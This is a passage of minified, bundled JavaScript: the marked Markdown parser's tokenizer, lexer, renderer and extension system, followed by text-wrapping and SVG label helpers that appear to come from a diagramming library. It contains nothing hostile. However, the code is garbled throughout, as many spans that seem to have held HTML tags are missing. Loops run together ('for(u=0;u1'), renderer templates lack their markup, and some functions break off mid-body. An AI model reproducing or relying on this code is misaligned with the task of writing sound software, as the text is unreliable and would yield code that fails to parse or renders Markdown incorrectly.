\\[\s\S]|`[^`]*`|[^\[\]\\`])*?/,M9e=on(/^!?\[(label)\]\(\s*(href)(?:(?:[ \t]*(?:\n[ \t]*)?)(title))?\s*\)/).replace("label",VT).replace("href",/<(?:\\.|[^\n<>\\])+>|[^ \t\n\x00-\x1f]*/).replace("title",/"(?:\\"?|[^"\\])*"|'(?:\\'?|[^'\\])*'|\((?:\\\)?|[^)\\])*\)/).getRegex(),OZ=on(/^!?\[(label)\]\[(ref)\]/).replace("label",VT).replace("ref",p9).getRegex(),PZ=on(/^!?\[(ref)\](?:\[\])?/).replace("ref",p9).getRegex(),I9e=on("reflink|nolink(?!\\()","g").replace("reflink",OZ).replace("nolink",PZ).getRegex(),v9={_backpedal:C2,anyPunctuation:D9e,autolink:L9e,blockSkip:k9e,br:LZ,code:v9e,del:C2,emStrongLDelim:E9e,emStrongRDelimAst:C9e,emStrongRDelimUnd:_9e,escape:y9e,link:M9e,nolink:PZ,punctuation:b9e,reflink:OZ,reflinkSearch:I9e,tag:N9e,text:x9e,url:C2},O9e={...v9,link:on(/^!?\[(label)\]\((.*?)\)/).replace("label",VT).getRegex(),reflink:on(/^!?\[(label)\]\s*\[([^\]]*)\]/).replace("label",VT).getRegex()},l9={...v9,emStrongRDelimAst:A9e,emStrongLDelim:S9e,url:on(/^((?:ftp|https?):\/\/|www\.)(?:[a-zA-Z0-9\-]+\.?)+[^\s<]*|^email/,"i").replace("email",/[A-Za-z0-9._+-]+(@)[a-zA-Z0-9-_]+(?:\.[a-zA-Z0-9-_]*[a-zA-Z0-9])+(?![-_])/).getRegex(),_backpedal:/(?:[^?!.,:;*_'"~()&]+|\([^)]*\)|&(?![a-zA-Z0-9]+;$)|[?!.,:;*_'"~)]+(?!$))+/,del:/^(~~?)(?=[^\s~])((?:\\[\s\S]|[^\\])*?(?:\\[\s\S]|[^\s~\\]))\1(?=[^~]|$)/,text:/^([`~]+|[^`~])(?:(?= {2,}\n)|(?=[a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-]+@)|[\s\S]*?(?:(?=[\\":">",'"':""","'":"'"},wZ=o(t=>B9e[t],"ke");o(Tc,"w");o(kZ,"J");o(EZ,"V");o(E2,"z");o(F9e,"ge");o(SZ,"fe");o($9e,"Je");UT=class{static{o(this,"y")}options;rules;lexer;constructor(t){this.options=t||jd}space(t){let e=this.rules.block.newline.exec(t);if(e&&e[0].length>0)return{type:"space",raw:e[0]}}code(t){let e=this.rules.block.code.exec(t);if(e){let r=e[0].replace(this.rules.other.codeRemoveIndent,"");return{type:"code",raw:e[0],codeBlockStyle:"indented",text:this.options.pedantic?r:E2(r,` +`)}}}fences(t){let e=this.rules.block.fences.exec(t);if(e){let r=e[0],n=$9e(r,e[3]||"",this.rules);return{type:"code",raw:r,lang:e[2]?e[2].trim().replace(this.rules.inline.anyPunctuation,"$1"):e[2],text:n}}}heading(t){let e=this.rules.block.heading.exec(t);if(e){let r=e[2].trim();if(this.rules.other.endingHash.test(r)){let n=E2(r,"#");(this.options.pedantic||!n||this.rules.other.endingSpaceChar.test(n))&&(r=n.trim())}return{type:"heading",raw:e[0],depth:e[1].length,text:r,tokens:this.lexer.inline(r)}}}hr(t){let e=this.rules.block.hr.exec(t);if(e)return{type:"hr",raw:E2(e[0],` +`)}}blockquote(t){let e=this.rules.block.blockquote.exec(t);if(e){let r=E2(e[0],` +`).split(` +`),n="",i="",a=[];for(;r.length>0;){let s=!1,l=[],u;for(u=0;u1,i={type:"list",raw:"",ordered:n,start:n?+r.slice(0,-1):"",loose:!1,items:[]};r=n?`\\d{1,9}\\${r.slice(-1)}`:`\\${r}`,this.options.pedantic&&(r=n?r:"[*+-]");let a=this.rules.other.listItemRegex(r),s=!1;for(;t;){let u=!1,h="",f="";if(!(e=a.exec(t))||this.rules.block.hr.test(t))break;h=e[0],t=t.substring(h.length);let d=e[2].split(` +`,1)[0].replace(this.rules.other.listReplaceTabs,x=>" ".repeat(3*x.length)),p=t.split(` +`,1)[0],m=!d.trim(),g=0;if(this.options.pedantic?(g=2,f=d.trimStart()):m?g=e[1].length+1:(g=e[2].search(this.rules.other.nonSpaceChar),g=g>4?1:g,f=d.slice(g),g+=e[1].length),m&&this.rules.other.blankLine.test(p)&&(h+=p+` +`,t=t.substring(p.length+1),u=!0),!u){let x=this.rules.other.nextBulletRegex(g),b=this.rules.other.hrRegex(g),T=this.rules.other.fencesBeginRegex(g),S=this.rules.other.headingBeginRegex(g),w=this.rules.other.htmlBeginRegex(g);for(;t;){let k=t.split(` +`,1)[0],A;if(p=k,this.options.pedantic?(p=p.replace(this.rules.other.listReplaceNesting," "),A=p):A=p.replace(this.rules.other.tabCharGlobal," "),T.test(p)||S.test(p)||w.test(p)||x.test(p)||b.test(p))break;if(A.search(this.rules.other.nonSpaceChar)>=g||!p.trim())f+=` +`+A.slice(g);else{if(m||d.replace(this.rules.other.tabCharGlobal," ").search(this.rules.other.nonSpaceChar)>=4||T.test(d)||S.test(d)||b.test(d))break;f+=` +`+p}!m&&!p.trim()&&(m=!0),h+=k+` +`,t=t.substring(k.length+1),d=A.slice(g)}}i.loose||(s?i.loose=!0:this.rules.other.doubleBlankLine.test(h)&&(s=!0));let y=null,v;this.options.gfm&&(y=this.rules.other.listIsTask.exec(f),y&&(v=y[0]!=="[ ] ",f=f.replace(this.rules.other.listReplaceTask,""))),i.items.push({type:"list_item",raw:h,task:!!y,checked:v,loose:!1,text:f,tokens:[]}),i.raw+=h}let l=i.items.at(-1);if(l)l.raw=l.raw.trimEnd(),l.text=l.text.trimEnd();else return;i.raw=i.raw.trimEnd();for(let u=0;ud.type==="space"),f=h.length>0&&h.some(d=>this.rules.other.anyLine.test(d.raw));i.loose=f}if(i.loose)for(let u=0;u({text:l,tokens:this.lexer.inline(l),header:!1,align:a.align[u]})));return a}}lheading(t){let e=this.rules.block.lheading.exec(t);if(e)return{type:"heading",raw:e[0],depth:e[2].charAt(0)==="="?1:2,text:e[1],tokens:this.lexer.inline(e[1])}}paragraph(t){let e=this.rules.block.paragraph.exec(t);if(e){let r=e[1].charAt(e[1].length-1)===` +`?e[1].slice(0,-1):e[1];return{type:"paragraph",raw:e[0],text:r,tokens:this.lexer.inline(r)}}}text(t){let e=this.rules.block.text.exec(t);if(e)return{type:"text",raw:e[0],text:e[0],tokens:this.lexer.inline(e[0])}}escape(t){let e=this.rules.inline.escape.exec(t);if(e)return{type:"escape",raw:e[0],text:e[1]}}tag(t){let e=this.rules.inline.tag.exec(t);if(e)return!this.lexer.state.inLink&&this.rules.other.startATag.test(e[0])?this.lexer.state.inLink=!0:this.lexer.state.inLink&&this.rules.other.endATag.test(e[0])&&(this.lexer.state.inLink=!1),!this.lexer.state.inRawBlock&&this.rules.other.startPreScriptTag.test(e[0])?this.lexer.state.inRawBlock=!0:this.lexer.state.inRawBlock&&this.rules.other.endPreScriptTag.test(e[0])&&(this.lexer.state.inRawBlock=!1),{type:"html",raw:e[0],inLink:this.lexer.state.inLink,inRawBlock:this.lexer.state.inRawBlock,block:!1,text:e[0]}}link(t){let e=this.rules.inline.link.exec(t);if(e){let r=e[2].trim();if(!this.options.pedantic&&this.rules.other.startAngleBracket.test(r)){if(!this.rules.other.endAngleBracket.test(r))return;let a=E2(r.slice(0,-1),"\\");if((r.length-a.length)%2===0)return}else{let a=F9e(e[2],"()");if(a===-2)return;if(a>-1){let s=(e[0].indexOf("!")===0?5:4)+e[1].length+a;e[2]=e[2].substring(0,a),e[0]=e[0].substring(0,s).trim(),e[3]=""}}let n=e[2],i="";if(this.options.pedantic){let a=this.rules.other.pedanticHrefTitle.exec(n);a&&(n=a[1],i=a[3])}else i=e[3]?e[3].slice(1,-1):"";return n=n.trim(),this.rules.other.startAngleBracket.test(n)&&(this.options.pedantic&&!this.rules.other.endAngleBracket.test(r)?n=n.slice(1):n=n.slice(1,-1)),SZ(e,{href:n&&n.replace(this.rules.inline.anyPunctuation,"$1"),title:i&&i.replace(this.rules.inline.anyPunctuation,"$1")},e[0],this.lexer,this.rules)}}reflink(t,e){let r;if((r=this.rules.inline.reflink.exec(t))||(r=this.rules.inline.nolink.exec(t))){let n=(r[2]||r[1]).replace(this.rules.other.multipleSpaceGlobal," "),i=e[n.toLowerCase()];if(!i){let a=r[0].charAt(0);return{type:"text",raw:a,text:a}}return SZ(r,i,r[0],this.lexer,this.rules)}}emStrong(t,e,r=""){let n=this.rules.inline.emStrongLDelim.exec(t);if(!(!n||n[3]&&r.match(this.rules.other.unicodeAlphaNumeric))&&(!(n[1]||n[2])||!r||this.rules.inline.punctuation.exec(r))){let i=[...n[0]].length-1,a,s,l=i,u=0,h=n[0][0]==="*"?this.rules.inline.emStrongRDelimAst:this.rules.inline.emStrongRDelimUnd;for(h.lastIndex=0,e=e.slice(-1*t.length+i);(n=h.exec(e))!=null;){if(a=n[1]||n[2]||n[3]||n[4]||n[5]||n[6],!a)continue;if(s=[...a].length,n[3]||n[4]){l+=s;continue}else if((n[5]||n[6])&&i%3&&!((i+s)%3)){u+=s;continue}if(l-=s,l>0)continue;s=Math.min(s,s+l+u);let f=[...n[0]][0].length,d=t.slice(0,i+n.index+f+s);if(Math.min(i,s)%2){let m=d.slice(1,-1);return{type:"em",raw:d,text:m,tokens:this.lexer.inlineTokens(m)}}let p=d.slice(2,-2);return{type:"strong",raw:d,text:p,tokens:this.lexer.inlineTokens(p)}}}}codespan(t){let e=this.rules.inline.code.exec(t);if(e){let r=e[2].replace(this.rules.other.newLineCharGlobal," "),n=this.rules.other.nonSpaceChar.test(r),i=this.rules.other.startingSpaceChar.test(r)&&this.rules.other.endingSpaceChar.test(r);return n&&i&&(r=r.substring(1,r.length-1)),{type:"codespan",raw:e[0],text:r}}}br(t){let e=this.rules.inline.br.exec(t);if(e)return{type:"br",raw:e[0]}}del(t){let e=this.rules.inline.del.exec(t);if(e)return{type:"del",raw:e[0],text:e[2],tokens:this.lexer.inlineTokens(e[2])}}autolink(t){let e=this.rules.inline.autolink.exec(t);if(e){let r,n;return e[2]==="@"?(r=e[1],n="mailto:"+r):(r=e[1],n=r),{type:"link",raw:e[0],text:r,href:n,tokens:[{type:"text",raw:r,text:r}]}}}url(t){let e;if(e=this.rules.inline.url.exec(t)){let r,n;if(e[2]==="@")r=e[0],n="mailto:"+r;else{let i;do i=e[0],e[0]=this.rules.inline._backpedal.exec(e[0])?.[0]??"";while(i!==e[0]);r=e[0],e[1]==="www."?n="http://"+e[0]:n=e[0]}return{type:"link",raw:e[0],text:r,href:n,tokens:[{type:"text",raw:r,text:r}]}}}inlineText(t){let e=this.rules.inline.text.exec(t);if(e){let r=this.lexer.state.inRawBlock;return{type:"text",raw:e[0],text:e[0],escaped:r}}}},Mu=class c9{static{o(this,"l")}tokens;options;state;tokenizer;inlineQueue;constructor(e){this.tokens=[],this.tokens.links=Object.create(null),this.options=e||jd,this.options.tokenizer=this.options.tokenizer||new UT,this.tokenizer=this.options.tokenizer,this.tokenizer.options=this.options,this.tokenizer.lexer=this,this.inlineQueue=[],this.state={inLink:!1,inRawBlock:!1,top:!0};let r={other:as,block:GT.normal,inline:k2.normal};this.options.pedantic?(r.block=GT.pedantic,r.inline=k2.pedantic):this.options.gfm&&(r.block=GT.gfm,this.options.breaks?r.inline=k2.breaks:r.inline=k2.gfm),this.tokenizer.rules=r}static get rules(){return{block:GT,inline:k2}}static lex(e,r){return new c9(r).lex(e)}static lexInline(e,r){return new c9(r).inlineTokens(e)}lex(e){e=e.replace(as.carriageReturn,` +`),this.blockTokens(e,this.tokens);for(let r=0;r(i=s.call({lexer:this},e,r))?(e=e.substring(i.raw.length),r.push(i),!0):!1))continue;if(i=this.tokenizer.space(e)){e=e.substring(i.raw.length);let s=r.at(-1);i.raw.length===1&&s!==void 0?s.raw+=` +`:r.push(i);continue}if(i=this.tokenizer.code(e)){e=e.substring(i.raw.length);let s=r.at(-1);s?.type==="paragraph"||s?.type==="text"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.text,this.inlineQueue.at(-1).src=s.text):r.push(i);continue}if(i=this.tokenizer.fences(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.heading(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.hr(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.blockquote(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.list(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.html(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.def(e)){e=e.substring(i.raw.length);let s=r.at(-1);s?.type==="paragraph"||s?.type==="text"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.raw,this.inlineQueue.at(-1).src=s.text):this.tokens.links[i.tag]||(this.tokens.links[i.tag]={href:i.href,title:i.title},r.push(i));continue}if(i=this.tokenizer.table(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.lheading(e)){e=e.substring(i.raw.length),r.push(i);continue}let a=e;if(this.options.extensions?.startBlock){let s=1/0,l=e.slice(1),u;this.options.extensions.startBlock.forEach(h=>{u=h.call({lexer:this},l),typeof u=="number"&&u>=0&&(s=Math.min(s,u))}),s<1/0&&s>=0&&(a=e.substring(0,s+1))}if(this.state.top&&(i=this.tokenizer.paragraph(a))){let s=r.at(-1);n&&s?.type==="paragraph"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=s.text):r.push(i),n=a.length!==e.length,e=e.substring(i.raw.length);continue}if(i=this.tokenizer.text(e)){e=e.substring(i.raw.length);let s=r.at(-1);s?.type==="text"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=s.text):r.push(i);continue}if(e){let s="Infinite loop on byte: "+e.charCodeAt(0);if(this.options.silent){console.error(s);break}else throw new Error(s)}}return this.state.top=!0,r}inline(e,r=[]){return this.inlineQueue.push({src:e,tokens:r}),r}inlineTokens(e,r=[]){let n=e,i=null;if(this.tokens.links){let l=Object.keys(this.tokens.links);if(l.length>0)for(;(i=this.tokenizer.rules.inline.reflinkSearch.exec(n))!=null;)l.includes(i[0].slice(i[0].lastIndexOf("[")+1,-1))&&(n=n.slice(0,i.index)+"["+"a".repeat(i[0].length-2)+"]"+n.slice(this.tokenizer.rules.inline.reflinkSearch.lastIndex))}for(;(i=this.tokenizer.rules.inline.anyPunctuation.exec(n))!=null;)n=n.slice(0,i.index)+"++"+n.slice(this.tokenizer.rules.inline.anyPunctuation.lastIndex);for(;(i=this.tokenizer.rules.inline.blockSkip.exec(n))!=null;)n=n.slice(0,i.index)+"["+"a".repeat(i[0].length-2)+"]"+n.slice(this.tokenizer.rules.inline.blockSkip.lastIndex);n=this.options.hooks?.emStrongMask?.call({lexer:this},n)??n;let a=!1,s="";for(;e;){a||(s=""),a=!1;let l;if(this.options.extensions?.inline?.some(h=>(l=h.call({lexer:this},e,r))?(e=e.substring(l.raw.length),r.push(l),!0):!1))continue;if(l=this.tokenizer.escape(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.tag(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.link(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.reflink(e,this.tokens.links)){e=e.substring(l.raw.length);let h=r.at(-1);l.type==="text"&&h?.type==="text"?(h.raw+=l.raw,h.text+=l.text):r.push(l);continue}if(l=this.tokenizer.emStrong(e,n,s)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.codespan(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.br(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.del(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.autolink(e)){e=e.substring(l.raw.length),r.push(l);continue}if(!this.state.inLink&&(l=this.tokenizer.url(e))){e=e.substring(l.raw.length),r.push(l);continue}let u=e;if(this.options.extensions?.startInline){let h=1/0,f=e.slice(1),d;this.options.extensions.startInline.forEach(p=>{d=p.call({lexer:this},f),typeof d=="number"&&d>=0&&(h=Math.min(h,d))}),h<1/0&&h>=0&&(u=e.substring(0,h+1))}if(l=this.tokenizer.inlineText(u)){e=e.substring(l.raw.length),l.raw.slice(-1)!=="_"&&(s=l.raw.slice(-1)),a=!0;let h=r.at(-1);h?.type==="text"?(h.raw+=l.raw,h.text+=l.text):r.push(l);continue}if(e){let h="Infinite loop on byte: "+e.charCodeAt(0);if(this.options.silent){console.error(h);break}else throw new Error(h)}}return r}},HT=class{static{o(this,"P")}options;parser;constructor(t){this.options=t||jd}space(t){return""}code({text:t,lang:e,escaped:r}){let n=(e||"").match(as.notSpaceStart)?.[0],i=t.replace(as.endingNewline,"")+` +`;return n?'
    '+(r?i:Tc(i,!0))+`
    +`:"
    "+(r?i:Tc(i,!0))+`
    +`}blockquote({tokens:t}){return`
    +${this.parser.parse(t)}
    +`}html({text:t}){return t}def(t){return""}heading({tokens:t,depth:e}){return`${this.parser.parseInline(t)} +`}hr(t){return`
    +`}list(t){let e=t.ordered,r=t.start,n="";for(let s=0;s +`+n+" +`}listitem(t){let e="";if(t.task){let r=this.checkbox({checked:!!t.checked});t.loose?t.tokens[0]?.type==="paragraph"?(t.tokens[0].text=r+" "+t.tokens[0].text,t.tokens[0].tokens&&t.tokens[0].tokens.length>0&&t.tokens[0].tokens[0].type==="text"&&(t.tokens[0].tokens[0].text=r+" "+Tc(t.tokens[0].tokens[0].text),t.tokens[0].tokens[0].escaped=!0)):t.tokens.unshift({type:"text",raw:r+" ",text:r+" ",escaped:!0}):e+=r+" "}return e+=this.parser.parse(t.tokens,!!t.loose),`
  • ${e}
  • +`}checkbox({checked:t}){return"'}paragraph({tokens:t}){return`

    ${this.parser.parseInline(t)}

    +`}table(t){let e="",r="";for(let i=0;i${n}`),` + +`+e+` +`+n+`
    +`}tablerow({text:t}){return` +${t} +`}tablecell(t){let e=this.parser.parseInline(t.tokens),r=t.header?"th":"td";return(t.align?`<${r} align="${t.align}">`:`<${r}>`)+e+` +`}strong({tokens:t}){return`${this.parser.parseInline(t)}`}em({tokens:t}){return`${this.parser.parseInline(t)}`}codespan({text:t}){return`${Tc(t,!0)}`}br(t){return"
    "}del({tokens:t}){return`${this.parser.parseInline(t)}`}link({href:t,title:e,tokens:r}){let n=this.parser.parseInline(r),i=kZ(t);if(i===null)return n;t=i;let a='
    ",a}image({href:t,title:e,text:r,tokens:n}){n&&(r=this.parser.parseInline(n,this.parser.textRenderer));let i=kZ(t);if(i===null)return Tc(r);t=i;let a=`${r}{let s=i[a].flat(1/0);r=r.concat(this.walkTokens(s,e))}):i.tokens&&(r=r.concat(this.walkTokens(i.tokens,e)))}}return r}use(...t){let e=this.defaults.extensions||{renderers:{},childTokens:{}};return t.forEach(r=>{let n={...r};if(n.async=this.defaults.async||n.async||!1,r.extensions&&(r.extensions.forEach(i=>{if(!i.name)throw new Error("extension name required");if("renderer"in i){let a=e.renderers[i.name];a?e.renderers[i.name]=function(...s){let l=i.renderer.apply(this,s);return l===!1&&(l=a.apply(this,s)),l}:e.renderers[i.name]=i.renderer}if("tokenizer"in i){if(!i.level||i.level!=="block"&&i.level!=="inline")throw new Error("extension level must be 'block' or 'inline'");let a=e[i.level];a?a.unshift(i.tokenizer):e[i.level]=[i.tokenizer],i.start&&(i.level==="block"?e.startBlock?e.startBlock.push(i.start):e.startBlock=[i.start]:i.level==="inline"&&(e.startInline?e.startInline.push(i.start):e.startInline=[i.start]))}"childTokens"in i&&i.childTokens&&(e.childTokens[i.name]=i.childTokens)}),n.extensions=e),r.renderer){let i=this.defaults.renderer||new HT(this.defaults);for(let a in r.renderer){if(!(a in i))throw new Error(`renderer '${a}' does not exist`);if(["options","parser"].includes(a))continue;let s=a,l=r.renderer[s],u=i[s];i[s]=(...h)=>{let f=l.apply(i,h);return f===!1&&(f=u.apply(i,h)),f||""}}n.renderer=i}if(r.tokenizer){let i=this.defaults.tokenizer||new UT(this.defaults);for(let a in r.tokenizer){if(!(a in i))throw new Error(`tokenizer '${a}' does not exist`);if(["options","rules","lexer"].includes(a))continue;let s=a,l=r.tokenizer[s],u=i[s];i[s]=(...h)=>{let f=l.apply(i,h);return f===!1&&(f=u.apply(i,h)),f}}n.tokenizer=i}if(r.hooks){let i=this.defaults.hooks||new S2;for(let a in r.hooks){if(!(a in i))throw new Error(`hook '${a}' does not exist`);if(["options","block"].includes(a))continue;let s=a,l=r.hooks[s],u=i[s];S2.passThroughHooks.has(a)?i[s]=h=>{if(this.defaults.async&&S2.passThroughHooksRespectAsync.has(a))return Promise.resolve(l.call(i,h)).then(d=>u.call(i,d));let f=l.call(i,h);return u.call(i,f)}:i[s]=(...h)=>{let f=l.apply(i,h);return f===!1&&(f=u.apply(i,h)),f}}n.hooks=i}if(r.walkTokens){let i=this.defaults.walkTokens,a=r.walkTokens;n.walkTokens=function(s){let l=[];return l.push(a.call(this,s)),i&&(l=l.concat(i.call(this,s))),l}}this.defaults={...this.defaults,...n}}),this}setOptions(t){return this.defaults={...this.defaults,...t},this}lexer(t,e){return Mu.lex(t,e??this.defaults)}parser(t,e){return Iu.parse(t,e??this.defaults)}parseMarkdown(t){return(e,r)=>{let n={...r},i={...this.defaults,...n},a=this.onError(!!i.silent,!!i.async);if(this.defaults.async===!0&&n.async===!1)return a(new Error("marked(): The async option was set to true by an extension. Remove async: false from the parse options object to return a Promise."));if(typeof e>"u"||e===null)return a(new Error("marked(): input parameter is undefined or null"));if(typeof e!="string")return a(new Error("marked(): input parameter is of type "+Object.prototype.toString.call(e)+", string expected"));i.hooks&&(i.hooks.options=i,i.hooks.block=t);let s=i.hooks?i.hooks.provideLexer():t?Mu.lex:Mu.lexInline,l=i.hooks?i.hooks.provideParser():t?Iu.parse:Iu.parseInline;if(i.async)return Promise.resolve(i.hooks?i.hooks.preprocess(e):e).then(u=>s(u,i)).then(u=>i.hooks?i.hooks.processAllTokens(u):u).then(u=>i.walkTokens?Promise.all(this.walkTokens(u,i.walkTokens)).then(()=>u):u).then(u=>l(u,i)).then(u=>i.hooks?i.hooks.postprocess(u):u).catch(a);try{i.hooks&&(e=i.hooks.preprocess(e));let u=s(e,i);i.hooks&&(u=i.hooks.processAllTokens(u)),i.walkTokens&&this.walkTokens(u,i.walkTokens);let h=l(u,i);return i.hooks&&(h=i.hooks.postprocess(h)),h}catch(u){return a(u)}}}onError(t,e){return r=>{if(r.message+=` +Please report this to https://github.com/markedjs/marked.`,t){let n="

    An error occurred:

    "+Tc(r.message+"",!0)+"
    ";return e?Promise.resolve(n):n}if(e)return Promise.reject(r);throw r}}},Xd=new z9e;o(nn,"d");nn.options=nn.setOptions=function(t){return Xd.setOptions(t),nn.defaults=Xd.defaults,CZ(nn.defaults),nn};nn.getDefaults=h9;nn.defaults=jd;nn.use=function(...t){return Xd.use(...t),nn.defaults=Xd.defaults,CZ(nn.defaults),nn};nn.walkTokens=function(t,e){return Xd.walkTokens(t,e)};nn.parseInline=Xd.parseInline;nn.Parser=Iu;nn.parser=Iu.parse;nn.Renderer=HT;nn.TextRenderer=x9;nn.Lexer=Mu;nn.lexer=Mu.lex;nn.Tokenizer=UT;nn.Hooks=S2;nn.parse=nn;M6t=nn.options,I6t=nn.setOptions,O6t=nn.use,P6t=nn.walkTokens,B6t=nn.parseInline,F6t=Iu.parse,$6t=Mu.lex});function G9e(t,{markdownAutoWrap:e}){let n=t.replace(//g,` +`).replace(/\n{2,}/g,` +`),i=P3(n);return e===!1?i.replace(/ /g," "):i}function FZ(t,e={}){let r=G9e(t,e),n=nn.lexer(r),i=[[]],a=0;function s(l,u="normal"){l.type==="text"?l.text.split(` +`).forEach((f,d)=>{d!==0&&(a++,i.push([])),f.split(" ").forEach(p=>{p=p.replace(/'/g,"'"),p&&i[a].push({content:p,type:u})})}):l.type==="strong"||l.type==="em"?l.tokens.forEach(h=>{s(h,l.type)}):l.type==="html"&&i[a].push({content:l.text,type:"normal"})}return o(s,"processNode"),n.forEach(l=>{l.type==="paragraph"?l.tokens?.forEach(u=>{s(u)}):l.type==="html"?i[a].push({content:l.text,type:"normal"}):i[a].push({content:l.raw,type:"normal"})}),i}function $Z(t,{markdownAutoWrap:e}={}){let r=nn.lexer(t);function n(i){return i.type==="text"?e===!1?i.text.replace(/\n */g,"
    ").replace(/ /g," "):i.text.replace(/\n */g,"
    "):i.type==="strong"?`${i.tokens?.map(n).join("")}`:i.type==="em"?`${i.tokens?.map(n).join("")}`:i.type==="paragraph"?`

    ${i.tokens?.map(n).join("")}

    `:i.type==="space"?"":i.type==="html"?`${i.text}`:i.type==="escape"?i.text:(X.warn(`Unsupported markdown: ${i.type}`),i.raw)}return o(n,"output"),r.map(n).join("")}var zZ=N(()=>{"use strict";BZ();_A();pt();o(G9e,"preprocessMarkdown");o(FZ,"markdownToLines");o($Z,"markdownToHTML")});function V9e(t){return Intl.Segmenter?[...new Intl.Segmenter().segment(t)].map(e=>e.segment):[...t]}function U9e(t,e){let r=V9e(e.content);return GZ(t,[],r,e.type)}function GZ(t,e,r,n){if(r.length===0)return[{content:e.join(""),type:n},{content:"",type:n}];let[i,...a]=r,s=[...e,i];return t([{content:s.join(""),type:n}])?GZ(t,s,a,n):(e.length===0&&i&&(e.push(i),r.shift()),[{content:e.join(""),type:n},{content:r.join(""),type:n}])}function VZ(t,e){if(t.some(({content:r})=>r.includes(` +`)))throw new Error("splitLineToFitWidth does not support newlines in the line");return b9(t,e)}function b9(t,e,r=[],n=[]){if(t.length===0)return n.length>0&&r.push(n),r.length>0?r:[];let i="";t[0].content===" "&&(i=" ",t.shift());let a=t.shift()??{content:" ",type:"normal"},s=[...n];if(i!==""&&s.push({content:i,type:"normal"}),s.push(a),e(s))return b9(t,e,r,s);if(n.length>0)r.push(n),t.unshift(a);else if(a.content){let[l,u]=U9e(e,a);r.push([l]),u.content&&t.unshift(u)}return b9(t,e,r)}var UZ=N(()=>{"use strict";o(V9e,"splitTextToChars");o(U9e,"splitWordToFitWidth");o(GZ,"splitWordToFitWidthRecursion");o(VZ,"splitLineToFitWidth");o(b9,"splitLineToFitWidthRecursion")});function HZ(t,e){e&&t.attr("style",e)}async function H9e(t,e,r,n,i=!1,a=Qt()){let s=t.append("foreignObject");s.attr("width",`${10*r}px`),s.attr("height",`${10*r}px`);let l=s.append("xhtml:div"),u=kn(e.label)?await kh(e.label.replace(tt.lineBreakRegex,` +`),a):sr(e.label,a),h=e.isNode?"nodeLabel":"edgeLabel",f=l.append("span");f.html(u),HZ(f,e.labelStyle),f.attr("class",`${h} ${n}`),HZ(l,e.labelStyle),l.style("display","table-cell"),l.style("white-space","nowrap"),l.style("line-height","1.5"),l.style("max-width",r+"px"),l.style("text-align","center"),l.attr("xmlns","http://www.w3.org/1999/xhtml"),i&&l.attr("class","labelBkg");let d=l.node().getBoundingClientRect();return d.width===r&&(l.style("display","table"),l.style("white-space","break-spaces"),l.style("width",r+"px"),d=l.node().getBoundingClientRect()),s.node()}function T9(t,e,r){return t.append("tspan").attr("class","text-outer-tspan").attr("x",0).attr("y",e*r-.1+"em").attr("dy",r+"em")}function q9e(t,e,r){let n=t.append("text"),i=T9(n,1,e);w9(i,r);let a=i.node().getComputedTextLength();return n.remove(),a}function qZ(t,e,r){let n=t.append("text"),i=T9(n,1,e);w9(i,[{content:r,type:"normal"}]);let a=i.node()?.getBoundingClientRect();return a&&n.remove(),a}function W9e(t,e,r,n=!1){let a=e.append("g"),s=a.insert("rect").attr("class","background").attr("style","stroke: none"),l=a.append("text").attr("y","-10.1"),u=0;for(let h of r){let f=o(p=>q9e(a,1.1,p)<=t,"checkWidth"),d=f(h)?[h]:VZ(h,f);for(let p of d){let m=T9(l,u,1.1);w9(m,p),u++}}if(n){let h=l.node().getBBox(),f=2;return s.attr("x",h.x-f).attr("y",h.y-f).attr("width",h.width+2*f).attr("height",h.height+2*f),a.node()}else return l.node()}function w9(t,e){t.text(""),e.forEach((r,n)=>{let i=t.append("tspan").attr("font-style",r.type==="em"?"italic":"normal").attr("class","text-inner-tspan").attr("font-weight",r.type==="strong"?"bold":"normal");n===0?i.text(r.content):i.text(" "+r.content)})}async function k9(t,e={}){let r=[];t.replace(/(fa[bklrs]?):fa-([\w-]+)/g,(i,a,s)=>(r.push((async()=>{let l=`${a}:${s}`;return await eH(l)?await _s(l,void 0,{class:"label-icon"}):``})()),i));let n=await Promise.all(r);return t.replace(/(fa[bklrs]?):fa-([\w-]+)/g,()=>n.shift()??"")}var di,zo=N(()=>{"use strict";yr();gr();pt();zZ();tr();nc();UZ();qn();o(HZ,"applyStyle");o(H9e,"addHtmlSpan");o(T9,"createTspan");o(q9e,"computeWidthOfText");o(qZ,"computeDimensionOfText");o(W9e,"createFormattedText");o(w9,"updateTextContentAndStyles");o(k9,"replaceIconSubstring");di=o(async(t,e="",{style:r="",isTitle:n=!1,classes:i="",useHtmlLabels:a=!0,isNode:s=!0,width:l=200,addSvgBackground:u=!1}={},h)=>{if(X.debug("XYZ createText",e,r,n,i,a,s,"addSvgBackground: ",u),a){let f=$Z(e,h),d=await k9(Ji(f),h),p=e.replace(/\\\\/g,"\\"),m={isNode:s,label:kn(e)?p:d,labelStyle:r.replace("fill:","color:")};return await H9e(t,m,l,i,u,h)}else{let f=e.replace(//g,"
    "),d=FZ(f.replace("
    ","
